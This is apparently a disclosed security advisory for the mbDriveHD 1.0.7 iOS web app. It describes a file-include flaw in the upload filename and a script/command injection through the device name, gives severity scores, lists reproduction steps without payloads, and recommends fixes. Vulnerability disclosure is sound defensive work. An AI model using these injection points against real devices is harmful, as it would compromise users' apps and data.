Discovery Status:
=================
Published


Affected Product(s):
====================
mbpowertools
Product: mbDriveHD - iOS Mobile Web Application 1.0.7


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official mbDriveHD v1.0.7 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or 
system 
specific path commands to compromise the web-application/device.

The web vulnerability is located in the `file name` value of the `Upload` module POST method request. Remote attackers 
are 
able to inject own files with malicious filename to compromise the mobile application. The attack vector is persistent 
and the request 
method is POST. The local file/path include execution occcurs in the main file index section after the POST method 
request. The security 
risk of the local file include web vulnerability is estimated as high(+) with a cvss (common vulnerability scoring 
system) count of 7.1(+)|(-)7.2.

Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application 
user account with password. 
Successful exploitation of the local web vulnerability results in mobile application or connected device component 
compromise by unauthorized 
local file include web attacks.

Request Method(s):
                                [+] [POST]

Vulnerable Input(s):
                                [+] Upload

Vulnerable Parameter(s):
                                [+] filename

Affected Module(s):
                                [+] Index File Directory Listing



1.2
A local command/path injection web vulnerability has been discovered in the official mbDriveHD v1.0.7 iOS mobile 
web-application.
The remote vulnerability allows to inject local commands via vulnerable system values to compromise the apple iOS 
mobile application.

The vulnerability is located in the in the `device name` value of the `index and sub category listing` module. Local 
attackers are 
able to inject own script codes as iOS device name. The execute of the injected script code occurs with persistent 
attack vector 
in the header section of the web interface. The security risk of the command/path inject vulnerabilities are estimated 
as high 
with a cvss (common vulnerability scoring system) count of 6.0(+)|(-)6.1.

Exploitation of the command/path inject vulnerability requires a local low privileged iOS device account with 
restricted access 
and no direct user interaction. Successful exploitation of the vulnerability results in unauthorized execute of system 
specific 
commands or unauthorized path requests.

Request Method(s):
                                [+] [GET]

Vulnerable Parameter(s):
                                [+] devicename

Affected Module(s):
                                [+] Index File Directory Listing - [Header]


Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by remote attackers without user interaction or privileged 
mobile 
web-application user account. For security demonstration or to reproduce the vulnerability follow the provided 
information and steps below.

1.2
The local command inject web vulnerability can be exploited by remote attackers with physical device access and without 
user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and 
steps below.

1. Install the mobile web application and start it
2. Open your device settings info menu and change the `device name` to your own command/path string combined with 
script code
3. Save the device name and open the software
4. Activate the wifi interface port 8080

Solution - Fix & Patch:
=======================
1.1
The file include web vulnerability can be patched by a secure parse of the filename value in the vulnerable upload POST 
method request.
Ensure also the output name and data information context is secure encoded to prevent persistent injects or command 
executions.

1.2
The local command inject web vulnerability can be patched by a secure encode of the vulnerable device name value in the 
header location of the web-interface.


Security Risk:
==============
1.1
The security risk of the local file include web vulnerability is estimated as high(+).

1.2
the security risk of the local command inject web vulnerability is estimated as medium(+)|(-)high.
